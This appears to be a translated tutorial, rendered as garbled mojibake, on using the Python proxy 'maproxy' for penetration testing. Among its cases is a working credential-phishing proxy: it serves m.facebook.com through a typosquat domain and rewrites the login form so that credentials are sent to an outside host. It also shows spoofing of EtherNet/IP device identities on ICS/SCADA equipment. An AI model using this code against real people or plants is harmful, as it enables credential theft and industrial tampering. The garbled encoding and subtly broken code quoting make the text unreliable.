рдлреНрд▓рд╛рдИ рдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рд▓реЗрдЦрдХреЛ рдЕрдиреБрд╡рд╛рдж рдкрд╛рдареНрдпрдХреНрд░рдордХреЛ рд╕реБрд░реБрд╡рд╛рддрдХреЛ рдкреВрд░реНрд╡рд╕рдиреНрдзреНрдпрд╛рдорд╛ рддрдпрд╛рд░ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ "рдкреЗрдиреНрдЯреЗрд╕реНрдЯред рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдЕрднреНрдпрд╛рд╕".

рдлреНрд▓рд╛рдИ рдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рдПрдиреЛрдЯреЗрд╕рди

IoT/ICS рдЙрдкрдХрд░рдгрд╣рд░реВ рд░ SCADA рд╣реНрдпрд╛рдХ рдЧрд░реНрдиреЗ рдирд┐рдпрдорд┐рдд рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рд░ рд░рд╛рддреЛ рдЯреЛрд▓реА рд╕рдЮреНрдЪрд╛рд▓рдирджреЗрдЦрд┐ рд▓рд┐рдПрд░ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░рдХрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдореВрд▓реНрдпрд╛рдЩреНрдХрдирд╣рд░реВ, рдмрд╛рдЗрдирд░реА рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХрд▓рд╣рд░реВрд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрдиреЗ, рдЕрд░реНрдерд╛рддреН рдХреНрд▓рд╛рдЗрдиреНрдЯ рд░ рд▓рдХреНрд╖реНрдп рдмреАрдЪрдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдкрдорд╛ рдЕрд╡рд░реЛрдз рдЧрд░реНрдиреЗ рд░ рдкрд░рд┐рдорд╛рд░реНрдЬрди рдЧрд░реНрдиреЗ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫред рд╣рд╛рдореАрд╕рдБрдЧ Wireshark, Tcpdump рд╡рд╛ Scapy рдЬрд╕реНрддрд╛ рдЙрдкрдХрд░рдгрд╣рд░реВ рднрдПрдХрд╛рд▓реЗ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░рд╛рдлрд┐рдХ рд╕реНрдирд┐рдлрд┐рдЩ рдЧрд░реНрдиреБ рдЧрд╛рд╣реНрд░реЛ рдХрд╛рдо рд╣реЛрдЗрди, рддрд░ рдкрд░рд┐рдорд╛рд░реНрдЬрди рдмрдвреА рд╢реНрд░рдо-рдЧрд╣рди рдХрд╛рд░реНрдп рдЬрд╕реНрддреЛ рджреЗрдЦрд┐рдиреНрдЫ рдХрд┐рдирднрдиреЗ рд╣рд╛рдореАрд╕рдБрдЧ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкрдвреНрди, рдпрд╕рд▓рд╛рдИ рдлрд┐рд▓реНрдЯрд░ рдЧрд░реНрди, рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдХреБрдиреИ рдкреНрд░рдХрд╛рд░рдХреЛ рдЗрдиреНрдЯрд░рдлреЗрд╕ рдЪрд╛рд╣рд┐рдиреНрдЫред рдпреЛ рдЙрдбрд╛рдирдорд╛ рд░ рд▓рдЧрднрдЧ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордпрдорд╛ рд▓рдХреНрд╖рд┐рдд рд╣реЛрд╕реНрдЯрдорд╛ рдлрд┐рд░реНрддрд╛ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред рдердк рд░реВрдкрдорд╛, рдпреЛ рдЖрджрд░реНрд╢ рд╣реБрдиреЗрдЫ рдпрджрд┐ рдпрд╕реНрддреЛ рдЙрдкрдХрд░рдгрд▓реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдкрдорд╛ рдмрд╣реБ рд╕рдорд╛рдирд╛рдиреНрддрд░ рдЬрдбрд╛рдирд╣рд░реВрд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрди рд╕рдХреНрдЫ рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдЕрдиреБрдХреВрд▓рди рдпреЛрдЧреНрдп рд╣реБрди рд╕рдХреНрдЫред

рдПрдХ рджрд┐рди рдореИрд▓реЗ рдПрдЙрдЯрд╛ рдЙрдкрдХрд░рдг рдлреЗрд▓рд╛ рдкрд╛рд░реЗ maproxy, рдХрд╛рдЧрдЬрд╛рддрд▓реЗ рдЪрд╛рдБрдбреИ рдорд▓рд╛рдИ рдпреЛ рд╕реНрдкрд╖реНрдЯ рдЧрд░реНрдпреЛ maproxy - рдорд▓рд╛рдИ рдХреЗ рдЪрд╛рд╣рд┐рдиреНрдЫред рдпреЛ рдПрдХрджрдо рд╕рд░рд▓, рдмрд╣реБрдореБрдЦреА рд░ рд╕рдЬрд┐рд▓реИ рдХрдиреНрдлрд┐рдЧрд░ рдЧрд░реНрди рдорд┐рд▓реНрдиреЗ TCP рдкреНрд░реЛрдХреНрд╕реА рд╣реЛред рдпреЛ рдЙрдкрдХрд░рдгрд▓реЗ рдзреЗрд░реИ рд╕рдорд╛рдирд╛рдиреНрддрд░ рдЬрдбрд╛рдирд╣рд░реВ рд╣реНрдпрд╛рдиреНрдбрд▓ рдЧрд░реНрди рд╕рдХреНрдЫ рдХрд┐ рднрдиреЗрд░ рд╣реЗрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ ICS рдЙрдкрдХрд░рдгрд╣рд░реВ (рдЬрд╕рд▓реЗ рдзреЗрд░реИ рдкреНрдпрд╛рдХреЗрдЯрд╣рд░реВ рдЙрддреНрдкрдиреНрди рдЧрд░реНрджрдЫ) рд╕рд╣рд┐рдд рдзреЗрд░реИ рдЬрдЯрд┐рд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдорд╛ рдпреЛ рдЙрдкрдХрд░рдгрдХреЛ рдкрд░реАрдХреНрд╖рдг рдЧрд░реЗрдВ, рд░ рдЙрдкрдХрд░рдгрд▓реЗ рд░рд╛рдореНрд░реЛ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрдпреЛред

рдпрд╕ рд▓реЗрдЦрд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рдлреНрд▓рд╛рдИрдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрди рдкрд░рд┐рдЪрдп рджрд┐рдиреЗрдЫ maproxy.

рд╕рд┐рдВрд╣рд╛рд╡рд▓реЛрдХрди

рдЙрдкрдХрд░рдг maproxy рдкрд╛рдЗрдерди рдорд╛ рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рд░ рдкрд░рд┐рдкрдХреНрд╡ рдПрд╕рд┐рдиреНрдХреНрд░реЛрдирд╕ рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ, Tornado рдорд╛ рдЖрдзрд╛рд░рд┐рдд рдЫред

рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛, рдпрд╕рд▓реЗ рдзреЗрд░реИ рдореЛрдбрд╣рд░реВрдорд╛ рдХрд╛рдо рдЧрд░реНрди рд╕рдХреНрдЫ:

  • TCP:TCP - рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдирдЧрд░рд┐рдПрдХреЛ TCP рдЬрдбрд╛рдирд╣рд░реВ;
  • TCP:SSL ╨╕ SSL:TCP - рдПрдХрддрд░реНрдлреА рдЗрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╕рдВрдЧ;
  • SSL:SSL - рджреБрдИ-рддрд░рдлрд╛ рдИрдиреНрдХреНрд░рд┐рдкреНрд╢рдиред

рдпреЛ рдкреБрд╕реНрддрдХрд╛рд▓рдпрдХреЛ рд░реВрдкрдорд╛ рдЖрдЙрдБрдЫред рджреНрд░реБрдд рд╕реБрд░реБрд╡рд╛рддрдХреЛ рд▓рд╛рдЧрд┐, рддрдкрд╛рдИрдВрд▓реЗ рдореБрдЦреНрдп рдкреНрд░рддрд┐рдмрд┐рдореНрдмрд┐рдд рдЧрд░реНрдиреЗ рдЙрджрд╛рд╣рд░рдг рдлрд╛рдЗрд▓рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛рд░реНрдпрд╣рд░реВ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

рдХреЗрд╕ рез - рд╕рд╛рдзрд╛рд░рдг рджреНрд╡рд┐рджрд┐рд╢рд╛рддреНрдордХ рдкреНрд░реЛрдХреНрд╕реА

рдорд╛ рдЖрдзрд╛рд░рд┐рдд tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд ProxyServer() рджреБрдИ рддрд░реНрдХрд╣рд░реВ рд▓рд┐рдиреНрдЫ - рдЬрдбрд╛рди рд╕реНрдерд╛рди рд░ рд▓рдХреНрд╖реНрдп рдкреЛрд░реНрдЯред server.listen() рдПрдЙрдЯрд╛ рддрд░реНрдХ рд▓рд┐рдиреНрдЫ - рдЖрдЧрдорди рдЬрдбрд╛рди рд╕реБрдиреНрдирдХреЛ рд▓рд╛рдЧрд┐ рдкреЛрд░реНрдЯред

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрджреИ:

# python tcp2tcp.py

рдкрд░реАрдХреНрд╖рдг рдЪрд▓рд╛рдЙрдирдХреЛ рд▓рд╛рдЧрд┐, рд╣рд╛рдореА рд╣рд╛рдореНрд░реЛ рдкреНрд░реЛрдХреНрд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдорд╛рд░реНрдлрдд рд╕реНрдерд╛рдиреАрдп SSH рд╕рд░реНрднрд░рдорд╛ рдЬрдбрд╛рди рдЧрд░реНрди рдЬрд╛рдБрджреИрдЫреМрдВ, рдЬрд╕рд▓реЗ рд╕реБрдиреНрджрдЫред 2222/tcp рдкреЛрд░реНрдЯ рд░ рдорд╛рдирдХ рдкреЛрд░реНрдЯрдорд╛ рдЬрдбрд╛рди рд╣реБрдиреНрдЫ 22/tcp SSH рд╕рд░реНрднрд░рд╣рд░реВ:

рдлреНрд▓рд╛рдИ рдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рд╕реНрд╡рд╛рдЧрдд рдмреНрдпрд╛рдирд░рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рд╕реВрдЪрд┐рдд рдЧрд░реНрджрдЫ рдХрд┐ рд╣рд╛рдореНрд░реЛ рдЙрджрд╛рд╣рд░рдг рд▓рд┐рдкрд┐рд▓реЗ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░рд╛рдлрд┐рдХрд▓рд╛рдИ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреНрд░реЛрдХреНрд╕реА рдЧрд░реЗрдХреЛ рдЫред

рдХреЗрд╕ реи - рдбрд╛рдЯрд╛ рдкрд░рд┐рдорд╛рд░реНрдЬрди

рдЕрд░реНрдХреЛ рдбреЗрдореЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ logging_proxy.py рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рд╕рдВрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд▓рд╛рдЧреА рдЖрджрд░реНрд╢ред рдлрд╛рдЗрд▓рдорд╛ рднрдПрдХрд╛ рдЯрд┐рдкреНрдкрдгреАрд╣рд░реВрд▓реЗ рддрдкрд╛рдЗрдБрдХреЛ рд▓рдХреНрд╖реНрдп рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдкрд░рд┐рдорд╛рд░реНрдЬрди рдЧрд░реНрди рд╕рдХреНрдиреЗ рдХрдХреНрд╖рд╛ рд╡рд┐рдзрд┐рд╣рд░реВ рд╡рд░реНрдгрди рдЧрд░реНрджрдЫ:

рдлреНрд▓рд╛рдИ рдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рд╕рдмреИрднрдиреНрджрд╛ рд░реЛрдЪрдХ рдХреБрд░рд╛ рдпрд╣рд╛рдБ рдЫ:

  • on_c2p_done_read - рдХреНрд▓рд╛рдЗрдиреНрдЯрдмрд╛рдЯ рд╕рд░реНрднрд░рдорд╛ рдЬрд╛рдиреЗ рдмрд╛рдЯреЛрдорд╛ рдбреЗрдЯрд╛ рдЕрд╡рд░реЛрдз рдЧрд░реНрди;
  • on_p2s_done_read - рдЙрд▓реНрдЯреЛред

рд╕рд░реНрднрд░рд▓реЗ рдЧреНрд░рд╛рд╣рдХрд▓рд╛рдИ рдлрд░реНрдХрд╛рдЙрдиреЗ SSH рдмреНрдпрд╛рдирд░ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреЗ рдкреНрд░рдпрд╛рд╕ рдЧрд░реМрдВ:

[тАж]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[тАж]

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиреБрд╣реЛрд╕реН:

рдлреНрд▓рд╛рдИ рдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рддрдкрд╛рдИрд▓реЗ рджреЗрдЦреНрди рд╕рдХреНрдиреБрд╣реБрдиреЗ рд░реВрдкрдорд╛, рдЧреНрд░рд╛рд╣рдХрд▓рд╛рдИ рдмрд╣рдХрд╛рдЗрдПрдХреЛ рдерд┐рдпреЛ рдХрд┐рдирднрдиреЗ рдЙрдирдХреЛ рд▓рд╛рдЧрд┐ SSH рд╕рд░реНрднрд░ рдирд╛рдо рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ ┬лDumnySSH┬╗.

рдлреНрд▓рд╛рдИ рдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рдХреЗрд╕ рей - рд╕рд╛рдзрд╛рд░рдг рдлрд┐рд╕рд┐рдЩ рд╡реЗрдм рдкреГрд╖реНрда

рдпреЛ рдЙрдкрдХрд░рдг рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рдЕрдирдиреНрдд рддрд░рд┐рдХрд╛рд╣рд░реВ рдЫрдиреНред рдпрд╕ рдкрдЯрдХ рд░рд╛рддреЛ рдЯреЛрд▓реА рд╕рдЮреНрдЪрд╛рд▓рди рдкрдХреНрд╖рдмрд╛рдЯ рдердк рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдХреБрд░рд╛рдорд╛ рдзреНрдпрд╛рди рдХреЗрдиреНрджреНрд░рд┐рдд рдЧрд░реМрдВред рдЕрд╡рддрд░рдг рдкреГрд╖реНрда рдЕрдиреБрдХрд░рдг рдЧрд░реМрдВ m.facebook.com рд░ рдЬрд╛рдирд╛рдЬрд╛рдиреА рдЯрд╛рдЗрдкреЛ рд╕рдВрдЧ рдПрдХ рдЕрдиреБрдХреВрд▓рди рдбреЛрдореЗрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрд╣реЛрд╕реН, рдЙрджрд╛рд╣рд░рдг рдХреЛ рд▓рд╛рдЧреА, m.facebok.comред рдкреНрд░рджрд░реНрд╢рди рдЙрджреНрджреЗрд╢реНрдпрдХрд╛ рд▓рд╛рдЧрд┐, рдбреЛрдореЗрди рд╣рд╛рдореАрджреНрд╡рд╛рд░рд╛ рджрд░реНрддрд╛ рдЧрд░рд┐рдПрдХреЛ рд╣реЛ рднрдиреА рдорд╛рдиреМрдВред

рд╣рд╛рдореА рд╣рд╛рдореНрд░реЛ рдкреАрдбрд┐рдд рдкреНрд░реЛрдХреНрд╕реА рд░ рдлреЗрд╕рдмреБрдХ рд╕рд░реНрднрд░ (31.13.81.36)ред рдпреЛ рдЙрджрд╛рд╣рд░рдг рдХрд╛рдо рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐, рд╣рд╛рдореАрд▓реЗ HTTP рд╣реЛрд╕реНрдЯ рд╣реЗрдбрд░рд▓рд╛рдИ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░реНрди рд░ рд╕рд╣реА рд╣реЛрд╕реНрдЯрдирд╛рдо рдЗрдиреНрдЬреЗрдХреНрд╕рди рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ, рд░ рд╣рд╛рдореА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрдореНрдкреНрд░реЗрд╕рдирд▓рд╛рдИ рдкрдирд┐ рдЕрд╕рдХреНрд╖рдо рдкрд╛рд░реНрдиреЗрдЫреМрдВ рддрд╛рдХрд┐ рд╣рд╛рдореА рд╕рд╛рдордЧреНрд░реАрд╣рд░реВ рд╕рдЬрд┐рд▓реИрд╕рдБрдЧ рдкрд╣реБрдБрдЪ рдЧрд░реНрди рд╕рдХреНрдЫреМрдВред рдЕрдиреНрддрддрдГ рд╣рд╛рдореА HTML рдлрд╛рд░рдо рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░реНрдиреЗрдЫреМрдВ рддрд╛рдХрд┐ рд▓рдЧрдЗрди рдкреНрд░рдорд╛рдгрд╣рд░реВ рд╣рд╛рдореАрд▓рд╛рдИ Facebook рдХреЛ рд╕рд░реНрднрд░рдХреЛ рд╕рдЯреНрдЯрд╛ рдкрдард╛рдЗрдпреЛрд╕реН:

[тАж]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[тАж]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ne/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[тАж]

рд╕рд╛рд░рд╛рдВрд╢рдорд╛:

рдлреНрд▓рд╛рдИ рдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рддрдкрд╛рдИрд▓реЗ рджреЗрдЦреНрди рд╕рдХреНрдиреБрд╣реБрдиреЗ рд░реВрдкрдорд╛, рд╣рд╛рдореА рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдореВрд▓ рд╕рд╛рдЗрдЯ рдмрджрд▓реНрди рд╕рдХреНрд╖рдо рднрдпреМрдВред

рдХреЗрд╕ 4 - рдкреЛрд░реНрдЯрд┐рдЩреНрдЧ рдЗрдерд░рдиреЗрдЯ/рдЖрдИрдкреА

рдореИрд▓реЗ рдХреЗрд╣реА рд╕рдордпрджреЗрдЦрд┐ рдФрджреНрдпреЛрдЧрд┐рдХ рдЙрдкрдХрд░рдгрд╣рд░реВ рд░ рд╕рдлреНрдЯрд╡реЗрдпрд░рд╣рд░реВ (ICS/SCADA) рд╕рдБрдЧ рдХрд╛рдо рдЧрд░рд┐рд░рд╣реЗрдХреЛ рдЫреБ, рдЬрд╕реНрддреИ рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдмрд▓ рдХрдиреНрдЯреНрд░реЛрд▓рд░рд╣рд░реВ (PLC), I/O рдореЛрдбреНрдпреБрд▓рд╣рд░реВ, рдбреНрд░рд╛рдЗрднрд╣рд░реВ, рд░рд┐рд▓реЗрд╣рд░реВ, рд╕реАрдвреА рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдЩ рд╡рд╛рддрд╛рд╡рд░рдгрд╣рд░реВ рд░ рдЕрдиреНрдп рдзреЗрд░реИред рдпреЛ рдорд╛рдорд▓рд╛ рдФрджреНрдпреЛрдЧрд┐рдХ рдЪреАрдЬрд╣рд░реВ рдорди рдкрд░рд╛рдЙрдиреЗрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рд╣реЛред рддреНрдпрд╕реНрддрд╛ рд╕рдорд╛рдзрд╛рдирд╣рд░реВ рд╣реНрдпрд╛рдХ рдЧрд░реНрдиреБ рднрдиреЗрдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХрд▓рд╣рд░реВрд╕рдБрдЧ рд╕рдХреНрд░рд┐рдп рд░реВрдкрдорд╛ рдЦреЗрд▓реНрдиреБ рд╕рдорд╛рд╡реЗрд╢ рдЫред рдирд┐рдореНрди рдЙрджрд╛рд╣рд░рдгрдорд╛, рдо рддрдкрд╛рдЗрдБ рдХрд╕рд░реА ICS/SCADA рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░рд╛рдлрд┐рдХ рдкрд░рд┐рдорд╛рд░реНрдЬрди рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ рднрдиреЗрд░ рджреЗрдЦрд╛рдЙрди рдЪрд╛рд╣рдиреНрдЫреБред

рдпрд╕рдХреЛ рд▓рд╛рдЧрд┐ рддрдкрд╛рдИрд▓рд╛рдИ рдирд┐рдореНрди рдЖрд╡рд╢реНрдпрдХ рдкрд░реНрджрдЫ:

  • рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдирд┐рдлрд░, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, Wireshark;
  • рдЗрдерд░рдиреЗрдЯ/рдЖрдИрдкреА рд╡рд╛ рдХреЗрд╡рд▓ рдПрдХ рдПрд╕рдЖрдИрдкреА рдпрдиреНрддреНрд░, рддрдкрд╛рдЗрдБ рдпрд╕рд▓рд╛рдИ Shodan рд╕реЗрд╡рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдлреЗрд▓рд╛ рдкрд╛рд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ;
  • рд╣рд╛рдореНрд░реЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЖрдзрд╛рд░рд┐рдд рдЫ maproxy.

рдкрд╣рд┐рд▓реЗ, CIP (рд╕рд╛рдорд╛рдиреНрдп рдФрджреНрдпреЛрдЧрд┐рдХ рдкреНрд░реЛрдЯреЛрдХрд▓) рдмрд╛рдЯ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд╣рд┐рдЪрд╛рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╕реНрддреЛ рджреЗрдЦрд┐рдиреНрдЫ рд╣реЗрд░реМрдВ:

рдлреНрд▓рд╛рдИ рдорд╛ рдиреЗрдЯрд╡рд░реНрдХ рдбрд╛рдЯрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

рдпрдиреНрддреНрд░ рдкрд╣рд┐рдЪрд╛рди рдИрдерд░рдиреЗрдЯ/рдЖрдИрдкреА рдкреНрд░реЛрдЯреЛрдХрд▓ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдкреВрд░рд╛ рдЧрд░рд┐рдиреНрдЫ, рдЬреБрди рдФрджреНрдпреЛрдЧрд┐рдХ рдЗрдерд░рдиреЗрдЯ рдкреНрд░реЛрдЯреЛрдХрд▓рдХреЛ рдкрд░рд┐рд╖реНрдХреГрдд рд╕рдВрд╕реНрдХрд░рдг рд╣реЛ рдЬрд╕рд▓реЗ CIP рдЬрд╕реНрддрд╛ рдирд┐рдпрдиреНрддреНрд░рдг рдкреНрд░реЛрдЯреЛрдХрд▓рд╣рд░реВ рд▓рдкреЗрдЯреНрдЫред рд╣рд╛рдореА рд╕реНрдХреНрд░рд┐рдирд╕рдЯрдорд╛ рджреЗрдЦрд┐рдиреЗ рд╣рд╛рдЗрд▓рд╛рдЗрдЯ рдЧрд░рд┐рдПрдХреЛ рдЖрдИрдбреА рдирд╛рдо рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрди рдЬрд╛рдБрджреИрдЫреМрдВ "рдЗрдерд░рдиреЗрдЯрдХреЛ рд▓рд╛рдЧрд┐ NI-IndComm" рд╣рд╛рдореНрд░реЛ рдкреНрд░реЛрдХреНрд╕реА рд▓рд┐рдкрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджреИред рд╣рд╛рдореА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреБрди: рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХреНрдЫреМрдВ logging_proxy.py рд░ рддреНрдпрд╕реИ рдЧрд░реА рдХрдХреНрд╖рд╛ рд╡рд┐рдзрд┐ рдкрд░рд┐рдорд╛рд░реНрдЬрди рдЧрд░реНрдиреБрд╣реЛрд╕реН on_p2s_done_read, рдХрд┐рдирднрдиреЗ рд╣рд╛рдореА рдЧреНрд░рд╛рд╣рдХрдорд╛ рдлрд░рдХ рдкрд╣рд┐рдЪрд╛рди рдирд╛рдо рджреЗрдЦрд┐рди рдЪрд╛рд╣рдиреНрдЫреМрдВред

рдХреЛрдб:

[тАж]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[тАж]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[тАж]

рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдкрдорд╛, рд╣рд╛рдореАрд▓реЗ рджреБрдИ рдкрдЯрдХ рдпрдиреНрддреНрд░ рдкрд╣рд┐рдЪрд╛рдирдХреЛ рд▓рд╛рдЧрд┐ рд╕реЛрдзреНрдпреМрдВ, рджреЛрд╕реНрд░реЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореВрд▓ рдерд┐рдпреЛ, рд░ рдкрд╣рд┐рд▓реЛ рдЙрдбрд╛рдирдорд╛ рдкрд░рд┐рдорд╛рд░реНрдЬрди рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред

рд░ рдЕрдиреНрддрдорд╛

рдореЗрд░реЛ рд╡рд┐рдЪрд╛рд░рдорд╛ maproxy рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд░ рд╕рд░рд▓ рдЙрдкрдХрд░рдг, рдЬреБрди рдкрд╛рдЗрдердирдорд╛ рдкрдирд┐ рд▓реЗрдЦрд┐рдПрдХреЛ рдЫ, рддреНрдпрд╕реИрд▓реЗ рдо рд╡рд┐рд╢реНрд╡рд╛рд╕ рдЧрд░реНрдЫреБ рдХрд┐ рддрдкрд╛рдИрдВрд▓реЗ рдкрдирд┐ рдпрд╕рд▓рд╛рдИ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд▓рд╛рдн рдЙрдард╛рдЙрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫред рдирд┐рд╕реНрд╕рдиреНрджреЗрд╣, рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдкреНрд░рд╢реЛрдзрди рд░ рдкрд░рд┐рдорд╛рд░реНрдЬрди рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рдердк рдЬрдЯрд┐рд▓ рдЙрдкрдХрд░рдгрд╣рд░реВ рдЫрдиреН, рддрд░ рддрд┐рдиреАрд╣рд░реВ рдкрдирд┐ рдердк рдзреНрдпрд╛рди рдЪрд╛рд╣рд┐рдиреНрдЫ рд░ рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рдпреЛрдЧ рдХреЗрд╕рдХреЛ рд▓рд╛рдЧрд┐ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░рд┐рдиреНрдЫ, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐ред рдореБрд░реИрдирд╛, рдореЛрдбрд▓рд┐рд╢рдХрд╛ рд╡рд╛ evilginx рддреЗрд╕реНрд░реЛ рдЬрд╕реНрддреИ рдорд╛рдорд▓рд╛рд╣рд░реБ 